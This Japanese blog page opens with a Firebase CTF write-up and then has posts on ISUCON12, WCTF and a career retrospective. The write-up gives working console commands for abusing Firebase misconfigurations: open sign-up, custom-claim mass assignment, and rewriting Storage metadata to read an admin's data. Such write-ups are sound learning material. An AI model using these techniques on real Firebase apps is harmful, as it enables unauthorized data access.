Flatt Security mini CTF #5 Writeup

久しぶりのwriteupです。

flatt.connpass.com

これに参加してきました。FirebaseをテーマにしたCTFは多分初じゃないでしょうか。 3完で3位で結構悔しいので、また機会があればリベンジしたいですね。

1問目 Internal

add-flag.js にflagを追加する処理があるようです。

  await firebase.firestore().collection('flags').doc('flag').set({
    flag: FLAG
  });

つまり、/flags/flag が読めれば良いということになります。

次にFirestoreのセキュリティルールを読みます。重要なのは firestore.rules のここの部分

    match /flags/flag {
      allow get: if (
        request.auth != null &&

        // メールアドレスのドメインが @flatt.example.test ではない場合は拒否
        request.auth.token.email.matches("^.+@flatt.example.test$")
      );
    }

^.+@flatt.example.test$ にマッチするメールアドレスのアカウントを持っていればよいので、

  • Firebase Authenticationでアカウント作成が許可されている
  • メールアドレスの認証が必須でない

を満たしていればOKです。こればかりはFirebase Authenticationの設定依存なので実際にAPIを叩きましょう。

~$ http POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSy..." email="aaaa@flatt.example.test" password="H0geh0ge"

これで200が返ってくるので、使用したメールアドレスとパスワードを使ってログインするとflagが降ってきます。

余談:http コマンドはこれです。最近教えてもらって使い始めたんですが、結構便利です

httpie.io

2問目 Posts

  await firebase.firestore().collection('privatePosts').doc('0').collection(adminUserId).add({
    name: 'FLAG',
    body: FLAG,
    createdBy: adminUserId,
  });

今度は privatePosts/0/{adminUserId} 以下にあるようです。

セキュリティルールは

    match /privatePosts/0/{uid}/{postId} {
      allow read: if (
        request.auth != null
      );

request.auth != null は要は「認証したユーザーならなんでもOK」という意味なので、adminのuidがわかれば良いです。

add-flag.js にはこんな処理もあります。

  await firebase.firestore().collection('publicPosts').add({
    name: 'admin@flatt.tech',
    body: "Hello, I'm admin!",
    createdBy: adminUserId,
  });

つまりadminのuidはpublicPostsから得られます。

read = get + listなので、 postId はcollectionsをlistすることでそのまま得られます。

teaser問題のSDKローダースニペットを拝借しましょう。

      (async () => {
        const load = (url) =>
          new Promise((resolve) => {
            const script = document.createElement("script");
            script.setAttribute("src", url);
            script.onload = resolve;
            document.body.appendChild(script);
          });

        await load("https://www.gstatic.com/firebasejs/8.10.1/firebase.js");
      })();

ここで一つTIPSを紹介しておくと、FirebaseのAPI keyなどのconfigは、Firebase Hostingを利用している場合はWebサイトから直接取れます。今回のようにフロントのソースコードも配布されている場合はあまり意味がありませんが、ブラックボックスでやる時は重宝します。

firebase.google.com

https://{hostname}/__/firebase/init.js にアクセスして、firebase.initializeApp から始まる部分をコピペしてコンソールで実行すれば準備完了です。

publicPostsを漁ります。

(await firebase.firestore().collection('publicPosts').get()).forEach(el => console.log(el.data()))

データがたくさんある時はfilterをかけましょう。

(await firebase.firestore().collection('publicPosts').get()).docs.map(el => el.data()).filter(el => el.name === 'admin@flatt.tech')[0]

adminのuidが e3rd5IxFaOeTb6yFGsA2IRFEw9V2 だとわかりました。

あとはprivatePostsの中身を見るだけです。

(await firebase.firestore().collection('privatePosts/0/e3rd5IxFaOeTb6yFGsA2IRFEw9V2').get()).docs.forEach(el => console.log(el.data()))

3問目 Flatt Clicker

  await firebase.firestore().collection('flags').doc('flag').set({
    flag: FLAG,
  });

毎度おなじみ firestore.rules を確認します。

    match /flags/flag {
      allow get: if (
        request.auth != null &&
        request.auth.token.tier == 'HACKER'
      );
    }

ここが突破できれば良さそうです。request.auth.token はFirebase Authにおけるcustom claimを指します。

firebase.google.com

custom claimを設定するにはAdmin SDKでの操作が必要です。firebase.json を見ると functions/ 以下にCloud Functionsもあることがわかります。 案の定こんな関数が含まれていました。

export const updateTier = functions
  .firestore
  .document("/users/{userId}")
  .onUpdate(async (change, ctx) => {
    const data = change.after.data();
    try {
      let tier;

      if (data.clicks < 10) {
        tier = "BRONZE";
      } else if (data.clicks < 100) {
        tier = "SILVER";
      } else if (data.clicks < 3133333337) {
        tier = "GOLD";
      } else {
        tier = "HACKER";
      }

      await getAuth().setCustomUserClaims(ctx.params.userId, {
        tier,
        ...data,
      });

      return "OK";
    } catch (e) {
      functions.logger.error(e);
      throw new functions.auth.HttpsError("unavailable", String(e));
    }
  });

functions.firestore.document(...) はFirestoreのトリガーを指します。今回は onUpdate なので、/users/{userId} が更新された時に走る処理のようです。

firestore.rules をチェックすると、

    match /users/{uid} {
      ...

      allow update: if (
        request.auth != null &&
        request.auth.uid == uid &&
        request.resource.data.keys().hasAll(['clicks']) &&
        request.resource.data.clicks is int &&
        request.resource.data.clicks == resource.data.clicks + 1
      );
    }

とあります。読み解くと、

  • updateするデータにはclicks attributeが存在し、
  • clicksは整数値かつ現在の値+1である必要がある

となります。しかしfunctionsをよくみてみると、dataはスプレッド構文で後ろから上書きしており、かつ/users/{uid}におけるtier attributeへの書き込みはセキュリティルールで制限されていないので、tierが上書き可能です。

必要な情報は揃ったので、以下手順です。

まず適当なユーザーを作成し、ログインします。

2問目と同じ方法でSDKを初期化します。

/users/{userId} をアップデートします。自身のlocalIdは https://identitytoolkit.googleapis.com/v1/accounts:lookup へのリクエストに対するレスポンスに含まれています。

await firebase.firestore().doc('users/Gt0J4RPYZGRrlwtbIiJ8Xct5KIG2').update({clicks: 2, tier: 'HACKER'})

flagを読みます。

(await firebase.firestore().doc('flags/flag').get()).data()

4問目 NoteExporter

  await firebase.firestore().collection('users').doc(adminUserId).collection('notes').add({
    note: FLAG,
  });

flagは users/{adminUid}/notes 以下にあるようです。

    match /users/{userId} {
      allow read: if (
        request.auth != null
      );

      match /notes/{noteId} {
        allow read: if (
          request.auth != null &&
          request.auth.uid == userId
        );

ようやくまともなルールが出てきました。

adminのnotesを読むためにはadminとしてログインしなければなりません。3問目と同じく、怪しげなCloud Functionsがあるので中身を確認します。

export const exportNote = functions
  .https
  .onCall(async (data, ctx) => {
    try {
      if (!ctx.auth) {
        throw new functions.auth.HttpsError("permission-denied", "error");
      }

      const doc = await getFirestore().doc(data.path).get();
      const docData = doc.data();

      if (docData === undefined) {
        throw new functions.auth.HttpsError("unavailable", "error");
      }

      const bucket = getStorage().bucket();
      const userId = doc.ref.path.split("/")[1];
      const storagePath = `exports/${userId}/${uuidv4()}.json`;
      await bucket.file(storagePath).save(JSON.stringify(docData));

      const adminUserId = (
        await getAuth().getUserByEmail("admin@flatt.tech")
      ).uid;
      await bucket.file(storagePath).setMetadata({
        metadata: {
          allowedUserId: adminUserId,
        },
      });

      return {
        storagePath,
      };
    } catch (e) {
      functions.logger.error(e);
      throw new functions.auth.HttpsError("unavailable", String(e));
    }
  });

data.path が自由に指定できるので任意のドキュメントをCloud Storageにexportできます。storageのルールも読んでみます。

  match /b/{bucket}/o {
    match /exports/{userId}/{fileName} {
      allow get: if (
        request.auth != null &&
        (
          request.auth.uid == userId ||
          request.auth.uid == resource.metadata.allowedUserId
        )
      );

      // MEMO: 各ユーザーのフォルダは Cloud Functions からしか書き込めないないようにしておく
      allow write: if false;
    }

    // MEMO: それ以外のフォルダは将来的な機能拡張のために書き込めるようにしておく
    match /exports/{free=**} {
      allow write: if (
        request.auth != null &&
        request.resource.size < 5 * 1024
      );
    }
  }

match /exports/{free=**} のセクションがあるので、match /exports/{userId}/{fileName}allow write: if false; は意味を成しません。すなわちメタデータも書き込み可能で、allowedUserId が自身のuidであればデータを読めるようです。

また、Cloud Functions中に

export const createLog = functions
  .region("asia-northeast1")
  .firestore
  .document("users/{userId}/notes/{noteId}")
  .onCreate(async (snapshot) => {
    try {
      await getFirestore().collection("logs").add({
        path: snapshot.ref.path,
        createdAt: new Date().toISOString(),
      });
    } catch (e) {
      functions.logger.error(e);
      throw new functions.auth.HttpsError("unavailable", String(e));
    }
  });

とあります。/users/{userid}/notes/{noteId} が作成されたときにdocumentのpathが logs に記録され、

    match /logs/{logId} {
      allow read: if (
        request.auth != null
      );
    }

このデータは認証済みユーザーから読み放題です。これで必要な情報が揃いました。

まず適当なdocumentをexportします。documentが存在している必要があるので、自身の users/{userId} にしてみます。 https.onCall で定義されたCallable Functionsの呼び出し方は firebase.functions().httpsCallable(functionName)(args) です。

firebase.google.com

await firebase.functions().httpsCallable('exportNote')({path: 'users/gifWUDgst1fykPwaGlJ4RpkP5Y13'})

レスポンスの storagePath にpathが入っています。

次に保存されたオブジェクトのmetadataを確認します。

await (await firebase.storage().ref().child('exports/gifWUDgst1fykPwaGlJ4RpkP5Y13/c70de088-b3d0-4a22-a939-91e515498738.json')).getMetadata()

customMetadata.allowedUserId にadminのuidが入っています。6W7jG2C619g4BQggdofcIR2OKZv2 だとわかりました。

ついでにupdateMetadataができることを確認しておきます。1

await firebase.storage().ref().child('exports/gifWUDgst1fykPwaGlJ4RpkP5Y13/c70de088-b3d0-4a22-a939-91e515498738.json').updateMetadata({customMetadata: {allowedUserId: 'gifWUDgst1fykPwaGlJ4RpkP5Y13'}})

updateMetadata の引数は {customMetadata: metadata} の形で指定する必要があることに注意しましょう。

adminのnoteを特定します。

(await firebase.firestore().collection('logs').get()).docs.map(el => el.data()).filter(el => el.path.includes('6W7jG2C619g4BQggdofcIR2OKZv2'))[0]

users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr だとわかりました。あとは上記の手順を繰り返します。

exportします。

await firebase.functions().httpsCallable('exportNote')({path: 'users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr'})

metadataを書き換えます。

await firebase.storage().ref().child('exports/6W7jG2C619g4BQggdofcIR2OKZv2/18513eaa-0b64-4bb8-b17d-a1c55a5ed35d.json').updateMetadata({customMetadata: {allowedUserId: 'gifWUDgst1fykPwaGlJ4RpkP5Y13'}})

データにアクセスします。getDownloadURL でアクセス可能なURLを発行できます。

await (await firebase.storage().ref().child('exports/6W7jG2C619g4BQggdofcIR2OKZv2/18513eaa-0b64-4bb8-b17d-a1c55a5ed35d.json').getDownloadURL())

終わりに

前回のmini CTFでAWSがテーマになっていたことを思い出しました。

  • Incognitoでuser attributeが自由に指定できる
  • S3 objectのContent-Typeが書き換えられる

というもので、これらはいずれもAWSの仕様を正しく理解していないために起こった問題でした。

今回もFirebase Authenticationでアカウントの作成を許可していたり、セキュリティルールの仕様への理解不足に起因する問題をテーマとしています。

例えばFirestoreのセキュリティルールにはきちんとしたドキュメントがあるのですが、

firebase.google.com

その複雑さゆえに、いざアプリケーションを書くとなると脆弱性を埋め込んでしまうケースが多いです。

FirestoreはドキュメントDBなので、スキーマレスのデータを簡単に格納することができます。 しかし特定のattributeへのアクセスのみを禁止することができないなど、「これできないの?」と思うような仕様が潜んでいます。 アプリを設計する段階でFirestoreのスキーマを考慮しないと、そもそもセキュリティリスクなしには実現できなかったり、開発時に非常に大きな負担(複雑なクエリを書く必要など)が生じることもあります。

このように、新しいサービスを利用するときはそのサービスが持つ特性や設計思想を理解して初めて、その真価を引き出すことができます。 AWSやFirebaseに限らず、便利なサービスは多機能ゆえに思わぬところに落とし穴があります。ドキュメントを読み、正しく仕様を理解することがとても重要です。

作問してくださった@Sz4rnyさん、Flatt Securityの皆さんありがとうございました!リベンジしたいので次回作お待ちしています!2


  1. このへんで時間切れになりました
  2. 次は遅刻しないように業務調整がんばります

ISUCON12 予選通過しました

isucon.net

ISUCON12に「第7西東京市」で参加し、最終スコア86470 (1位!) で予選を通過しました このチームで参加するのは7回目らしく、そろそろ常連チームを名乗ってもよいかもしれない

ISUCONの知名度は近年めちゃくちゃ上がっており、なんと3回募集がある参加枠のうち2回は開始3分以内、3回目も20分経たず埋まるという大人気ぶりです。人気アーティストのチケット争奪戦かよ

以下、詳細です

日時

  • 2022/07/23 10:00 - 18:00

メンバー

  • whywaita(インフラ全般)
  • icchy(応援係)
  • nomeaning(アプリ全般)

本当は3人集まって参加する予定だったのですが、急遽whywaitaが来れなくなったのでicchy, nomeaningのみオフィスで集まり、whywaitaはDiscordでリモート参加という形になりました。 会議室を提供してくれた弊社に感謝

基本方針

  • Golang
  • ベンチマーカーをデバッガー代わりに使う(ローカル環境構築は行わない)
  • 終了約1時間前(17:00以降)は破壊的な変更を行わず、再起動試験に徹する

主な感想

  • ポータル・ベンチマーカー共にノートラブルだった
  • 問題紹介動画のクオリティがすごい

レポジトリ

最終的なコード

github.com

タイムライン

※ commit logとSlackの発言をベースにしています

時間 できごと スコア
10:00 CloudFormationでVM作成開始
当日マニュアル精読開始
初期ベンチ計測
2598
10:10 VM作成完了
初期のコードをpush
コードリーディング開始
ボトルネック計測環境の準備
-
11:00 コードを大体読み終わる
SQLite3をMySQLに載せ替えるのを決意
一行ずつだとクソ遅いので変換スクリプトを書き始める
-
11:05 billingReportByCompetitionを大会終了時のみ計算するように変更 3602
11:40 SQLite3変換スクリプト書き終わる
アプリケーション側のMySQL対応
3338
12:18 playersAddHandlerをbulk insertにする 2905
12:30 SQLite3から移植してきたテナントデータが不完全であることが判明 -
12:35 変換スクリプトのバグに気づく(後述) -
12:40 正しく変換すると /initialize が間に合わないことに気づく 0
~13:30 bulk insert→ダメ
mysqldump→ダメ
LOAD DATA INFILE→ダメ
テーブルごとバックアップしておいてSELECT INSERT→ダメ
で頭を抱える、MySQL移行作業撤退も検討
0
~14:50 虚無の時間
SQLite3に戻しながらちょくちょく計測
この辺りで予選落ちも覚悟
3000~4000
14:50 /initialize が呼ばれる度に毎回/var/lib/mysqlをリストアすることを思いつく
competitionRankingHandlerの1+N解消
/initialize が通る
6923
15:20 playerHandlerの1+N解消 7025
15:25 competitionScoreHandlerをbulk insertにする 7972
15:29 flockを消す 8662
15:31 MySQLのコネクション数を50まで引き上げる 9506
15:35 competitionScoreHandlerの1+N解消 11346
15:38 competitionScoreHandlerでdead lockが発生していたので修正 23121
15:45 App+DBの2台構成に変更 45857
15:57 dispenseIDを高速化
ユーザーが異常に増えたことによりスコアは下がる
20212
~17:00 虚無の時間2 -
17:10 player_scoreで最新の一件のみに注目するように修正
これが最後の破壊的な変更
66960
17:19 SQLLoggerとechoのDEBUGログを無効化 76721
17:19~17:29 再起動試験 77990~81167
17:31 デフォルトのencoding/jsonは遅いのでgo-jsonを使うように修正 86872
17:33 マニュアルを再度読む -
17:36 dispenseIDの高速化をもう一度試す
(ここでulidをそのまま使うと文字種がhexadecimal ([0-9a-f]) からBase32 ([A-Z2-7=]) に変わるため、レギュレーションに抵触するのではないかと思い"%x"に修正)
やはりスコアが下がるのでLastInsertIdで行くことを決定
80859
17:38~ ひたすらベンチを回し続ける 85941~86999
17:53 86470が出たところでフィニッシュ 86470

15時以降の伸びがすごいですね。

その他

SQLite3→MySQL変換スクリプトのバグ

#!/usr/bin/env python3
import sqlite3


values_competition = []
values_player = []
values_player_score = []


for i in (1, 100):
    conn = sqlite3.connect(f'file:{i}.db?mode=ro', uri=True)
    cur = conn.cursor()

    for r in cur.execute('select * from competition'):
        values_competition.append(r)
    for r in cur.execute('select * from player'):
        values_player.append(r)
    for r in cur.execute('select * from player_score'):
        values_player_score.append(r)

    conn.close()


sql = """
DROP TABLE IF EXISTS competition;
DROP TABLE IF EXISTS player;
DROP TABLE IF EXISTS player_score;
CREATE TABLE IF NOT EXISTS competition (
  id VARCHAR(255) NOT NULL PRIMARY KEY,
  tenant_id BIGINT NOT NULL,
  title TEXT NOT NULL,
  finished_at BIGINT NULL,
  created_at BIGINT NOT NULL,
  updated_at BIGINT NOT NULL
);
CREATE TABLE IF NOT EXISTS player (
  id VARCHAR(255) NOT NULL PRIMARY KEY,
  tenant_id BIGINT NOT NULL,
  display_name TEXT NOT NULL,
  is_disqualified BOOLEAN NOT NULL,
  created_at BIGINT NOT NULL,
  updated_at BIGINT NOT NULL
);
CREATE TABLE IF NOT EXISTS player_score (
  id VARCHAR(255) NOT NULL PRIMARY KEY,
  tenant_id BIGINT NOT NULL,
  player_id VARCHAR(255) NOT NULL,
  competition_id VARCHAR(255) NOT NULL,
  score BIGINT NOT NULL,
  row_num BIGINT NOT NULL,
  created_at BIGINT NOT NULL,
  updated_at BIGINT NOT NULL
);
"""[1:]

CHUNK_SIZE = 100000

for i in range(0, len(values_competition), CHUNK_SIZE):
    sql += "INSERT INTO competition VALUES " + ', '.join(f"{d}".replace('None', 'NULL') for d in values_competition[i:i+CHUNK_SIZE]) + ';' + '\n'

for i in range(0, len(values_player), CHUNK_SIZE):
    sql += "INSERT INTO player VALUES " + ', '.join(f"{d}".replace('None', 'NULL') for d in values_player[i:i+CHUNK_SIZE]) + ';' + '\n'

for i in range(0, len(values_player_score), CHUNK_SIZE):
    sql += "INSERT INTO player_score VALUES " + ', '.join(f"{d}".replace('None', 'NULL') for d in values_player_score[i:i+CHUNK_SIZE]) + ';' + '\n'

print(sql)

このスクリプトは正しく動きません。なぜでしょうか?

答え

...

for i in (1, 100):
    conn = sqlite3.connect(f'file:{i}.db?mode=ro', uri=True)

...

1.dbと100.dbしか読まないため

for i in (1, 100+1):

って書いたときに101.dbが見つからないよと言われた時点で気づくべきだったね

最後に

  • 運営の皆さん本当にありがとうございました。過去最高に快適な予選だったと思います
    • ベンチマーカーもポータルもトラブルなくて本当にすごい
  • 実は今回で5回連続予選通過しているらしい
    • ありがとうwhywaita、ありがとうnomeaning
    • 本選は3人で集まって参加したい
  • 本選に参加される方よろしくお願いします

WCTF2020

この記事はCTF Advent Calendar 2020の11日目の記事です。前回の記事は @bata_24 さんによるgefを改造した話でした。その前の一週間も @bata_24 さんによる記事でした。今年のAdvent Calendarの3分の1は @bata_24 さんによって埋められたことになります。なお現時点で、明日を含む10日分は担当が決まっていません。過疎っていますね。

私がインターネット上に公開しているブログは大きく分けて二つあり、非技術系のトピックを投稿するこのブログと、技術系のネタを投稿するblog.tonkatsu.infoがあります。
もともと今日の記事では、WCTFというCTF中に見つけた、Discordというアプリを使った面白いバグについての話をするつもりだったのですが、修正されてまだ時間が経ってからでないと公開しちゃダメとDiscordの人に言われたので今日は書けません。もうちょっとしたら書きます。

代わりにと言ってはなんですが、そのWCTFというCTFの話をしようと思います。技術的なことにはあまり触れない (+日本語でしか書かない) ので、こっちのブログに投下しています。

WCTFとは

CTFとは何か、という説明については流石に省略します。コンピュータ総合格闘技ですね。

CTFはいろんな国の企業や団体によって開催されていますが、WCTFというのは中国最大といわれているアンチウイルスベンダー Qihoo 360 という会社が主催しているCTFです。
普通のCTFは事前に運営が用意した問題に参加者がチャレンジしますが、WCTFで採用されているBelluminarは参加者が問題を持ち寄って解く形式です。凄腕の参加者が問題を用意するので必然的に難易度が担保されます。(本当?)

Belluminarというのはもともと韓国のPOCというカンファレンスで開かれていたCTFの形式です。 本家は2015年に始まり、その後2016年からQihoo 360によってWCTFがBelluminar Beijingとして開催されています。

What is BELLUMINAR

Belluminar, hacking contest of POC, started at POC2015 in KOREA for the first time. Belluminar is from ‘Bellum’(war in Latin) and ‘seminar’. It is not a just hacking contest but a kind of festival consisted of CTF & seminar for the solution about challenges. Only invited teams can join Belluminar. Each team can show its ability to attack what other teams want to protect and can defend what others want to attack.

Belluminar will not be restricted in one area but emerged as a worldwide hacking event. The beginning of Belluminar seemed to be humble, so properous will the future of it be.

歴史的にはBelluminar Beijingと呼ぶのが正しいのですが、面倒なので以降もWCTFと呼びます。
で、↑の説明だとちょっとわかりにくいのですが、WCTFは問題を解くことに加えて "seminar" と呼ばれるフェーズがあります。
このseminarでは、自分で作成した問題の解説を、他のチームと大会のジャッジがいる場で発表し、その問題に対する評価を得点とします。つまり、いわゆるクソ問を作ってきたらここで干されるわけですね。
最終的な得点は、他のチームが作ってきた問題と (当然ですが、自分のチームが用意した以外の問題を解きます) seminarの得点を合計して算出されます。

seminarで評価される項目は以下の4つです。

  • innovative (新規性, 問題のアイデアが新しいか)
  • reasonable (合理性, 問題の構成に無理がないか)
  • flawless (完全性, 問題に穴がないか)
  • stable (安定性, 問題が安定しているか)

これらの指標について、100点満点で評価をつけ、全部の平均がそのチームからの評価点ということになります。最終的な得点は、チームからの評価とジャッジからの評価にそれぞれ重みをつけて合計したものです。
実をいうとこれはあまり良い指標とは言えません。問題によっては評価不可能であるからです。

例えばこんな問題に対する評価を考えてみましょう。「独自実装のCPUのエミュレータが動作しており、サンプルコードが与えられている。解法はCPUのある命令にバッファオーバーフローが存在するのでそれを使ってexploitする」
ちなみにこれは経験談ではなく、あくまでも架空の一例です。
まずinnovativeについて評価します。独自実装のCPUが動作していますから、当然こんな問題を見たことはありません。新規性の塊でしょう。でも独自CPUは結構見たことあるので80点。
reasonableはどうでしょう。まずブラインドで仕様書すら存在しないCPUの命令列をguessingしなければならない上に、その命令にバッファオーバーフローがあることを突き止める必要があります。できるか?0点。
flawlessはというと、そもそも問題に穴がないか評価できません。 0点はかわいそうなので20点くらいあげます。
stableもflawlessと同じで評価できません。まあ30点くらいあげてもいいんじゃないですか?

次はこんな問題を考えてみましょう。再度いいますが、これは経験談ではなく、あくまでも架空の一例です。
「参加者に与えられているのはある環境に対するシェルだけである。実はこの環境はブラウザ上のJavaScriptで動作するOSで動作しており、busにペイロードを流すとXSSが発火する」
innovativeから見ていきましょう。busでXSSする、こんなアイデアは見たことがありません。控えめに言っても100点でしょう。
reasonable。busでXSSする、こんなアイデアを思いつくはずがありません。0点。
flawless。そもそも問題に穴がないか評価できません。 0点はかわいそうなので20点くらいあげます。 stableもflawlessと同じで評価できません。まあ30点くらいあげてもいいんじゃないですか?

このように、問題があまりにも奇抜すぎる場合はflawlessとstableをつけることができなくなります。   また、人によっては不快な思いをした問題に対して意味もなく低い点をつけたりすることがあるので、やはり合理的な指標ではなさそうです。

ここまで説明するとわかると思いますが、WCTFにおいて最適な戦略は難しい問題を作り、かつ低評価をつけられない問題をつくることです。
この「低評価をつけられない」というのがミソで、例えば1day exploitで世の中にPoCが出回っていない問題とかにすると、低コストで解くのに時間がかかる問題が作れるわけです。
実際にESPRは基本的にこの方針で問題を作っており、毎年seminarの点数を稼ぎつつ他のチームに解かれにくい問題に仕上げています。ずるいね

WCTF2020

の話を書こうと思ったんですが、疲れたのでまた今度にします。

明日のCTF Advent Calendarの担当はいません。誰か書いてくれ

進路

2020年3月に東京農工大学博士前期課程を修了します。1 学部時代を含めると計6年間 (1年間の休学期間を除く) 通い続けた大学でした。

今回は今までやってきたことの振り返りと、今後どうするのか、についてです。ポエムです。なるべく短くしたつもりですが、ちょっと長いかもしれません。

今まで何をやってきたのか

競技プログラミング

大学に入った当初は特に目的もなく、なんとなく将来も仕事がありそうだなくらいの感覚で選んだ情報工学科だったため、とりあえずMCCというコンピュータ系のサークルに入って競技プログラミングを始めました。 チームでACMが主催するICPC (国際大学対抗プログラミングコンテスト) にも出場したりしたのですが、競技プログラミングはあまり肌に合わなかったようで、特にレートを上げることもありませんでした。
もともと考察が好きだったので、ICPCに出場した時は閃き系問題の解法を考えたり、環境構築やデバッグを担当していました。他の二人はバンバンコードを書くタイプだったので、チーム的にはうまくマッチしていました。 最後の年は国内オンライン予選で5位 (大学別2位) に食い込んだりもしたので、それなりにうまくやれていたのかなと思います。

CTF

競技プログラミングを初めて一年後くらいに、同サークルに所属していた @Shift_Crops から声をかけられて初めたのがCTFでした。 「CTFって何?」と聞いたら「パズルみたいなもん」と言われて、なんとなく面白そうだなと思って初めたのがきっかけです。 当初はCTFブームが始まりかけくらいのころで、オンラインに転がってる問題はksnctf, akictfくらいしかなかったのを覚えています。
コンピュータのことはほとんどわからず、base64も知らずにヒントをもらいながらようやく解いたonionが初めて解いたCTFの問題だった気がします。 しばらくの間は誘ってもらった @Shift_Crops と、MCCの同期何人かでtuat_mccという名前でたまにオンラインCTFに出てたりしてました。

少しして、当時交流のあったMMAとCureSecureとお試しで合同チームを組んで、RuCTFEに出ることになりました。 結果は100位、ほとんど何もできませんでした。 f:id:icchyr:20200219215236p:plain

そしてその時のチームが今のTokyoWesternsに至ります。当初に比べるとメンバーも増え、世界ランキングにも食い込める成績を残せるレベルまでなりました。

研究

大学では、学部4年生になるまでは競プロやCTF以外は特に何もしませんでした。 学部4年生で研究室に配属されて、なんとなくマルウェア検知をやりたいという漠然とした考えだけがあり、最初のうちはDECAFDRAKVUFを弄って、なんとなくWindows APIフックができてすごいなあくらいのことをやっていました。
@ntddk の一生あとで読んでろには大変お世話になったのを覚えています。 彼が同年代だったこともあり、僕自身にとっても大きな刺激になっていたと思います。

しばらくいろんなサンドボックスを触った後、指導教官から急に「BitVisorってのがあるんだけど、触ってみない?」と言われ、とりあえずどんなものかと動かしてみました。 当時はVMMどころかシステムプログラミングに関する知識もほとんどなく、ソースコードを読んでも正直何をしているのかさっぱりわかりませんでした。
ネットに転がっているQiitaの記事や、BitVisor Summitでのスライドを漁りながら試行錯誤していたら、なんとなくBitVisorの改造方法がわかってきて、BitVisorを使ってマルウェア検知機構を作ろうということになりました。 マルウェア検知機構のロジックをVMM内で記述できたら面白いなと思い、LuaとLibVMIを組み込んでいい感じのシグネチャマッチングを書けるシステムを目指しました。 いろんなライブラリの移植を試みる課程でリンカの仕組みを調べたり、JSONパーサを書いたり、時にはファイルシステムやメモリアロケータの実装をしたりしました。
実装の際にはいろいろ壁がありましたが挫折することはなく、競技プログラミングをやっていた経験が生きたのかな?と思っています。

そんなこんなでシステムプログラミングやVMMの作り方などの知識が身につき、すっかり低レイヤーに染まってしまいました。 主にBitVisorをベースとした研究をいくつか発表し、他の研究者の方たちから筋が良い(?)と評価して頂いたものもあります。

www.slideshare.net

CBCTF 2

TokyoWesternsを立ち上げて2年くらい経ったころ、交流のあったpotetisenseiから「新しいCTFを立ち上げたいんだが、一緒に手伝ってくれないか」と持ちかけられ、彼の持っていたアイデアに感銘を受けて協力することにしました。 当時お互いに交流のあったkanaさんに協力を仰ぎ、5年目を迎えたCODE BLUEというカンファレンスでCBCTFをやらせてもらえることになりました。
CBCTF 2017 (初回) はbinjaが温めてきた問題でJeopardyのみをやり、2回目の予選はオンラインでJeopardy, 決勝戦はpotetisenseiの考案した新しいCTF形式 Bull's Eye で行いました。 最初のBull's Eyeのバックエンドは全てRailsで実装されており、Rubyに明るくなかった僕はあまり開発に関われませんでした。 また本番はdocker-composeの謎挙動や、sidekiqの カスみたいな 仕様により円滑にコンテストを進行することができず、運営も炎上したし海外チームにも大きな迷惑をかけました。
なによりも、バックエンドをメインで開発していた @tyage が大半のバグ修正を行い、僕はアドホックな解決策を示すことしかできませんでした。tyageごめんね。

次年度 (2019) のCBCTFはバックエンドを完全に一新し、新たにGolangで実装することに決めました。 スコアサーバ側は既にある程度Railsで完成されていたので、ワーカーやスケジューラなど根幹部分のみを再実装することに決め、全部フルスクラッチで書きました。
実装はGitHubに上がってます。ちょくちょくひどいcommitとかがあるのは許して下さい。

github.com

Golangを選んだ理由の一つは、非同期処理がやりやすそうだなと思ったからです。実際にスケジューラを書き始めるまで知らなかったのですが、gRPCがちゃんとキャンセルできてエラーハンドリングも問題ないの便利ですね。context考えた人すごくないですか?あれめちゃくちゃ便利だと思います。
もう一つの理由は、依存関係のないシングルバイナリで出力されることです。PythonRubyなどのスクリプト言語でアプリケーションをデプロイした経験のある人はわかると思うんですが、パッケージ管理とか処理系のバージョンとかで躓くとかなり面倒なんです。 Golangだとアプリケーション単位でバイナリが一つ出てくるだけなので、デプロイがめちゃくちゃ楽です。新しくパッケージ追加してもバイナリの中に含まれているので、デプロイ先でpip installやbundlerを走らせけなければならない、ということがないわけです。 あと学習コストがそんなに高くないです。Rustとかに比べれば、の話ですが。

留学

CTFをやっていた関係で海外の人たちと交流が生まれ、UCSBのPhDを卒業後ASUで研究室を立ち上げた、元ShellphishのリーダであるYan Shoshitaishvili氏から「こっちで研究インターンをしてみないか」と言われ、修士1年を終えたタイミングで半年間ASUに研究留学をすることになりました。
ASUでは主にfuzzingのプラットフォームに関する研究を行い、現実世界のアプリケーションをなるべく低コストかつスケールする方法でfuzzingする手法を提案し、プロトタイプの実装を行いました。 半年間という短い期間だったので、テーマ決めや実装方針などを含めるととても足らず、論文を完成させる前にインターンは終わってしまいましたが、今でも引き継がれて続いているそうです。 詳しいことは書けませんが、別の研究チームも加わってより良いアーキテクチャになっています。そのうち論文が出るんじゃないでしょうか。

ASUで留学している間に様々な縁が生まれ、2019年のNDSSというトップカンファレンスのWorkshop on Binary Analysis Research (BAR) では招待講演をさせてもらったりしました。 同講演では、先ほどのBull's Eyeのコンセプトについての発表をしてきました。 聴衆の食いつきは良く、終わった後にアメリカの国防関連の人から話を聞かれたりもしました。 世界でも類を見ない新しいアイデアであり、評価はかなり高かったです。この辺はさすがpotetisenseiといったところでしょう。3

その他

TokyoWesternsとしてCTFをやっている上で、いろんなところで講義したり発表したりしました。 中でも一番有名なのはCODE BLUE 2019で発表したAVOracleだと思います。

これはWCTF 2019に持っていくために考えていた問題が原案となっており、Windows Defenderを使ってなんか面白いことやろうっていう状態からひねり出したアイデアです。我ながらよく思いついたなと思っています。一生に一度あるかないかくらいだと思っています。

他にもいろいろありますが、記事が長くなるので省略します。

これからどうするのか

外資系企業に行こうとしたりもしましたが、最終的には日本に残ることにしました。 理由は以下の通りです:

  1. 面接の準備がヘタクソすぎて受けた企業ほとんど落ちた
  2. 最終的に行きたい企業があったが、タイミングの問題ですぐに入れない状況だった
  3. 仮に外資系に行っても、最終的には↑の企業に行くつもりだった
  4. その企業から今年入社の誘いを受けたので無理に他を探す必要がなくなった

誘いを受けた企業はベンチャーなのですが、とにかく仕事内容が面白くて、まさに自分が求めていたものでした。 仕事内容もさることながらメンバーもトップクラスと呼べる人材ばかりが揃っており、このメンバーならなんでもできそうだな、と思ったのが決め手です。 どこの会社かは、多分そのうち明らかになると思うのでここでは言いません。 ちなみに口頭だけでまだ正式なオファーを受けているわけではないので、札束で殴るなら今がチャンスです。4


  1. 卒業が確定したわけではありません。修了要件を満たせなければ学部卒として生きていきます。

  2. この記事を書いてる途中に、この辺で酒を飲み始めています。以降おかしなことを書いていた場合、それが原因です。

